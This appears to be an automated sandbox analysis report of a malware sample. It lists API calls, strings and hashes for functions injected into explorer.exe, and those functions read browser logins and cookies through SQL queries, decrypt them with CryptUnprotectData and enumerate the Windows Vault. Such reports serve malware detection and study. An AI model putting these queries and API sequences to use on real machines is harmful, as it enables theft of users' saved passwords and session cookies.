Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::details::FactoryFreeProxy$AssociateContextExecutionManager::Proxy::
String ID: 3W
API String ID: 2958197399-3302607274
Opcode ID: f7f0bb9aee0215b5f93a3985e1e616cebec11f55eba5c3ed005973ec8983b207
Instruction ID: f5a052b6ecf6317eb59605196b26fbb8964f326fe7b5ff26852729489fecbbaa
Opcode Fuzzy Hash: f7f0bb9aee0215b5f93a3985e1e616cebec11f55eba5c3ed005973ec8983b207
Instruction Fuzzy Hash: 7FF08271300A15AFCB04AF69D880959FFA9FF587647004139EA0D87312CB71AC62CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00580544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,0058A054,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0058056C
CreateSemaphoreW.KERNEL32(?,0058A054,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0058058E

Strings

3W, xrefs: 00580566, 00580588

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: 3W
API String ID: 1078844751-3302607274
Opcode ID: 987d65c820e31e3aaeca8de7e46713a59a92ec421eeb2c436e406e585c342df6
Instruction ID: 6ff32b70f45ad15b453df219487d692f6cfeea2fe05b29d433168c78de0bda4d
Opcode Fuzzy Hash: 987d65c820e31e3aaeca8de7e46713a59a92ec421eeb2c436e406e585c342df6
Instruction Fuzzy Hash: 81F01232511128AB8F526F90EC049AE7FA6FB08B50B045410FE0926220C7329C64EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0058BFF3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ContextBase::ReleaseWorkQueue.LIBCMT ref: 0058BFFF

Part of subcall function 0058C5C7: Concurrency::details::WorkQueue::LockedSetOwningContext.LIBCMT ref: 0058C5E2
Part of subcall function 0058C5C7: Concurrency::details::ScheduleGroupSegmentBase::DetachActiveWorkQueue.LIBCONCRT ref: 0058C5EB

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0058C024

Part of subcall function 0058C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0058C9C1

Strings

3W, xrefs: 0058C011

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Context$Concurrency::details::$Base::$Work$EventQueue$ActiveDetachGroupLockedOwningQueue::ReleaseScheduleSegmentThrowTrace
String ID: 3W
API String ID: 1802185470-3302607274
Opcode ID: 32483f823f3267823a12a91d3e79779900075fa7c1134b51ee21124ff9874464
Instruction ID: 30e13b8470199ec9f6d311739f8d5119cc0edff3c7d89fb8355d447378c0125b
Opcode Fuzzy Hash: 32483f823f3267823a12a91d3e79779900075fa7c1134b51ee21124ff9874464
Instruction Fuzzy Hash: D2E0D876700214AFDB14AB44D846D3EFBACEFC8764B04004AFA02A7341CAB0BD018BB5

Uniqueness

Uniqueness Score: -1.00%

Function 00580502 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateEventExW.KERNEL32(?,005835CA,00000000,00000000,?,001F0002,00000000,?,?), ref: 00580524
CreateEventW.KERNEL32(?,00000000,00000000,00000000,00000000,?,005835CA,00000000,00000000,?,001F0002,00000000,?,?), ref: 0058053B

Strings

3W, xrefs: 0058051E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CreateEvent
String ID: 3W
API String ID: 2692171526-3302607274
Opcode ID: 7a0190ef46f36737ab8589e7a55e65e7835809e13ca9f5c2ba145750e49fa8f9
Instruction ID: 0f276cf3b1ef1866e6b2ce766d27666af819592085aaec9d3b764dad418fc9d0
Opcode Fuzzy Hash: 7a0190ef46f36737ab8589e7a55e65e7835809e13ca9f5c2ba145750e49fa8f9
Instruction Fuzzy Hash: 7FE06572510518BF8F561F40DC098EE3F6AFF18720B044014FD19A2220C732AD60EFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0059ED92 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0059DD93,-00000020,00000FA0,00000000,E5E97FEB,?,00000000), ref: 0059EDD2

Strings

InitializeCriticalSectionEx, xrefs: 0059EDA2
3W, xrefs: 0059EDC2

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 3W$InitializeCriticalSectionEx
API String ID: 2593887523-207708148
Opcode ID: 8fe0d9ccc785dcfa0db4e9a88ef266125b90caee7b2ff47feeb5bd891d52cc5d
Instruction ID: 6b9b146e5659c017ebcb24c65af08c5d56e84dd39a8b757b54869c53ef067fc6
Opcode Fuzzy Hash: 8fe0d9ccc785dcfa0db4e9a88ef266125b90caee7b2ff47feeb5bd891d52cc5d
Instruction Fuzzy Hash: 99E0923154021CB7CF162F50CC0ADDE3F16FF54BA0B044120F91925162CB725961EBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0058FC44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,?,0058FB46,?), ref: 0058FC4D
SetLastError.KERNEL32(0000007F,?,?,0058FB46,?), ref: 0058FC71

Strings

3W, xrefs: 0058FC65

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: EncodeErrorLastPointer
String ID: 3W
API String ID: 688273888-3302607274
Opcode ID: 05ea3b3be4972708ce6a0e3d34c979cbd67fcf7152986616bf3add096a3c7f11
Instruction ID: c0398849fda9451dfb13fc17a6099ac328bb6cd7a47c8f7f9ac117e77d9f8c7f
Opcode Fuzzy Hash: 05ea3b3be4972708ce6a0e3d34c979cbd67fcf7152986616bf3add096a3c7f11
Instruction Fuzzy Hash: C7E026329082285BDB9477B8BC0A6697F88BB58371F044335FD55E31D2DB606D42DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0059EC93 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0059ECC7

Strings

FlsAlloc, xrefs: 0059ECA3
3W, xrefs: 0059ECBD

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: 3W$FlsAlloc
API String ID: 2773662609-3564590915
Opcode ID: 90f67445b93af32eb65d562eef0d3a2318776b3dec22e11c643d3ff1e1582e59
Instruction ID: 79756b4ab291d4b2558e2f7ae3d47a83c757775af26ccc1f4975499662e0a144
Opcode Fuzzy Hash: 90f67445b93af32eb65d562eef0d3a2318776b3dec22e11c643d3ff1e1582e59
Instruction Fuzzy Hash: 48E0C23168462873CE227A505C0BAEE7F49FB94B60F550911F90A223829EA12C4196D1

Uniqueness

Uniqueness Score: -1.00%

Function 00586F3C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00586F6C

Strings

pScheduler, xrefs: 00586F64
version, xrefs: 00586F51

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 1e24a7b3e0e0431a094348426f288615c2c2aec69f6bdaa1616f777a6eb57809
Instruction ID: 02b30a7a90f2a1fbea19bfb2c4c995c4a01e5cd1cfb93642cf3fc40f9c3aba1b
Opcode Fuzzy Hash: 1e24a7b3e0e0431a094348426f288615c2c2aec69f6bdaa1616f777a6eb57809
Instruction Fuzzy Hash: 81E0463494420DAACB58FAA4E84EBDC7F64BB10344F10C025BA2536094A7B4EA98CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00580745 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(?,0057FE27,00000007,00000FA0,00000000,00000003,0058010B,00000007,?,?,00562EF3,?,00000002,?), ref: 00580764
InitializeCriticalSectionAndSpinCount.KERNEL32(00000003,?,00000003,?,0057FE27,00000007,00000FA0,00000000,00000003,0058010B,00000007,?,?,00562EF3,?,00000002), ref: 0058076E

Strings

3W, xrefs: 0058075E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CountSpin
String ID: 3W
API String ID: 4156364057-3302607274
Opcode ID: c1a28e248fa98d39d788aa1e593eb305cda5a034df1c05b006af66fa1e3e185f
Instruction ID: dce76657e28d8e0701d71e7be9caacfada61bfb414b5e025406494763eef04f2
Opcode Fuzzy Hash: c1a28e248fa98d39d788aa1e593eb305cda5a034df1c05b006af66fa1e3e185f
Instruction Fuzzy Hash: 2DE08C36501228BBCF522F60DC049AE3F69FF187A1B014120FC1AA6230C732A8A4EFC0

Uniqueness

Uniqueness Score: -1.00%

Function 005805BF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateThreadpoolWait.KERNEL32(?,0059446D,?), ref: 005805DE

Strings

3W, xrefs: 005805D8
mDY, xrefs: 005805BF

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CreateThreadpoolWait
String ID: 3W$mDY
API String ID: 540757568-3101880326
Opcode ID: a7422f31b52864b28fbc83e01b0c334189d732924e2404b8ec1377a28ed89b29
Instruction ID: a773430be061c39cb217a3cbd5290d5297c5ca4d4595ea9e0d1d7203d2e83568
Opcode Fuzzy Hash: a7422f31b52864b28fbc83e01b0c334189d732924e2404b8ec1377a28ed89b29
Instruction Fuzzy Hash: 0CD0A732501228AB8F622FA1DC0489E7F59FF04B607044421FC4962221C7319C14AFD0

Uniqueness

Uniqueness Score: -1.00%

Function 005807D5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

TpSetWait.NTDLL ref: 005807F4

Strings

3W, xrefs: 005807EE
mDY, xrefs: 005807D5

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Wait
String ID: 3W$mDY
API String ID: 3722194139-3101880326
Opcode ID: 8be3a1071679b1f9ce6d678e8919436cfa62d15506c5e516e5a193f18bf5b009
Instruction ID: 3d1da8c5be76ad37e2add71a820129b4c0d8b3afa2ebb0cbd46b400f5e27e479
Opcode Fuzzy Hash: 8be3a1071679b1f9ce6d678e8919436cfa62d15506c5e516e5a193f18bf5b009
Instruction Fuzzy Hash: D6D0C731511628AB8F111F45DC0499A7F59FB05BA17054111FD0857231C7316C559FD0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 5084, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	50.4%
Signature Coverage:	0%
Total number of Nodes:	786
Total number of Limit Nodes:	85

Executed Functions

Function 030A3717 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 401
stringfileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030A2893,00000000,00000000,00000000,?), ref: 030A1B82
Part of subcall function 030A1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 030A1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 030A3778
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 030A3782
DeleteFileW.KERNELBASE(00000000), ref: 030A3789
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 030A3794
RtlCompareMemory.NTDLL(00000000,?,00000003), ref: 030A383B
RtlZeroMemory.NTDLL(?,00000040), ref: 030A3870
lstrlen.KERNEL32(?,?,?,?,?), ref: 030A398B
lstrlen.KERNEL32(00000000), ref: 030A399A
wsprintfA.USER32 ref: 030A39F1
lstrlen.KERNEL32(00000000,?,?), ref: 030A39FD
lstrcat.KERNEL32(00000000,?), ref: 030A3A21
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 030A3A49
lstrlen.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 030A3B13
lstrlen.KERNEL32(00000000), ref: 030A3B22
wsprintfA.USER32 ref: 030A3B79
lstrlen.KERNEL32(00000000), ref: 030A3B85
lstrcat.KERNEL32(00000000,?), ref: 030A3BA9
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 030A3BDA
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030A3C16

Strings

v1, xrefs: 030A3821
FALSE, xrefs: 030A39BC, 030A3B3C
0, xrefs: 030A3828
COOKIES, xrefs: 030A3BE8, 030A3BED, 030A3BF6
SELECT host_key,path,is_secure,name,encrypted_value FROM cookies, xrefs: 030A37C3
TRUE, xrefs: 030A39C9, 030A3B51
%sTRUE%s%s%s%s%s, xrefs: 030A39EB, 030A3B73

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrlen$File$DeleteMemoryTemplstrcatwsprintf$ChangeCloseCompareCopyCreateCryptDataFindNameNotificationPathUnprotectZero
String ID: %sTRUE%s%s%s%s%s$0$COOKIES$FALSE$SELECT host_key,path,is_secure,name,encrypted_value FROM cookies$TRUE$v1
API String ID: 2397694182-404540950
Opcode ID: d71bc0cc4c4570e99b1cef6bfb122619cebc1d38836c9b79a7f9d89357aee969
Instruction ID: 793b818846e9ee2f179cb080e49a8de2c94c2a2defd302eb1cd9328c49a35295
Opcode Fuzzy Hash: d71bc0cc4c4570e99b1cef6bfb122619cebc1d38836c9b79a7f9d89357aee969
Instruction Fuzzy Hash: 41E1AC3820A741AFD755EFA8E880E6FBBE9EFC4344F08496CF5858A250DB35C805CB52

Uniqueness

Uniqueness Score: -1.00%

Function 030A2198 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 242
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(?,00000114), ref: 030A21AF
GetVersionExW.KERNEL32(?), ref: 030A21BE
LoadLibraryW.KERNELBASE(vaultcli.dll), ref: 030A21E8
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 030A220A
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 030A2214
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 030A2220
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 030A222A
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 030A2236
RtlCompareMemory.NTDLL(?,03101110,00000010), ref: 030A22E8
RtlCompareMemory.NTDLL(?,03101110,00000010), ref: 030A236C

Part of subcall function 030A1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
Part of subcall function 030A1953: lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,?), ref: 030A1990
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

StrStrIW.SHLWAPI(?,Internet Explorer), ref: 030A23FE
FreeLibrary.KERNELBASE(00000000), ref: 030A2493

Strings

VaultFree, xrefs: 030A222C
VaultGetItem, xrefs: 030A2222
Internet Explorer, xrefs: 030A23F8
vaultcli.dll, xrefs: 030A21E3
VaultEnumerateItems, xrefs: 030A2216
VaultOpenVault, xrefs: 030A2204
VaultCloseVault, xrefs: 030A220C

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: AddressProc$Memory$CompareLibrarylstrcatlstrlen$FreeLoadVersionZero
String ID: Internet Explorer$VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2583887280-2831467701
Opcode ID: 6a10b067de84107c6d79d6b5f70a73ca8c0539f3546207e4319b9a7ad8e48cae
Instruction ID: 83995ab81fcb03d64df2fc31b6a9936f34da8607c06e2d292c143398b1fa4423
Opcode Fuzzy Hash: 6a10b067de84107c6d79d6b5f70a73ca8c0539f3546207e4319b9a7ad8e48cae
Instruction Fuzzy Hash: 4891BD71A0A704AFD758DFA9D884A6FBBEABFC8304F04482DF5859B251DB75D801CB42

Uniqueness

Uniqueness Score: -1.00%

Function 030A3098 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 248
fileencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030A2893,00000000,00000000,00000000,?), ref: 030A1B82
Part of subcall function 030A1B6A: FindCloseChangeNotification.KERNELBASE(00000000), ref: 030A1B8F

GetTempPathW.KERNEL32(00000104,00000000), ref: 030A30F9
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 030A3103
DeleteFileW.KERNELBASE(00000000), ref: 030A310A
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 030A3115
RtlCompareMemory.NTDLL(00000000,00000000,00000003), ref: 030A31A4
RtlZeroMemory.NTDLL(?,00000040), ref: 030A31D7
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 030A32DF
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 030A339C

Strings

0, xrefs: 030A3191
v1, xrefs: 030A318A
@, xrefs: 030A31F1
SELECT origin_url,username_value,password_value FROM logins, xrefs: 030A3136

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File$DeleteMemoryTemp$ChangeCloseCompareCopyCreateCryptDataFindNameNotificationPathUnprotectZero
String ID: 0$@$SELECT origin_url,username_value,password_value FROM logins$v1
API String ID: 1468962943-4052020286
Opcode ID: 2f32a520e26f79e46242e49abfc5318896a2e941601d8c0d06b95e0fa553e745
Instruction ID: eb6dee3fe6797c9e22a9af7672ee2b035fa22660562647a3dbbb3ef1d913555c
Opcode Fuzzy Hash: 2f32a520e26f79e46242e49abfc5318896a2e941601d8c0d06b95e0fa553e745
Instruction Fuzzy Hash: 7291DD3920A741AFD754DFA9E844E6FBBE9AFC5744F08092DF5858A250DB35D804CB12

Uniqueness

Uniqueness Score: -1.00%

Function 030A3ED9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,?,00000000), ref: 030A3F0A
FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 030A3F16
lstrcmpiW.KERNEL32(?,030F62CC), ref: 030A3F38
lstrcmpiW.KERNEL32(?,030F62D0), ref: 030A3F4C
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 030A3F69
lstrcmpiW.KERNEL32(?,Local State), ref: 030A3F7E
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 030A3F9B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 030A3FB5
FindClose.KERNELBASE(00000000), ref: 030A3FC4

Strings

Local State, xrefs: 030A3F78
*.*, xrefs: 030A3F01

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: CombineFindPathlstrcmpi$FileHeap$AllocateCloseFirstNextProcess
String ID: *.*$Local State
API String ID: 3923353463-3324723383
Opcode ID: 3cfa4999ddc9bc8a88c23ac668a02a4955980dc325de9c9987bd74888822949c
Instruction ID: fce79d9cb76f15cb76fa2944055ca61866e01140d153778d2f312c93123c086e
Opcode Fuzzy Hash: 3cfa4999ddc9bc8a88c23ac668a02a4955980dc325de9c9987bd74888822949c
Instruction Fuzzy Hash: 9B21C538202B486FD754F7B8AC48E7FB6BCEFC5251F080569F952C6185DB7E94088661

Uniqueness

Uniqueness Score: -1.00%

Function 030A2B15 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 102
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
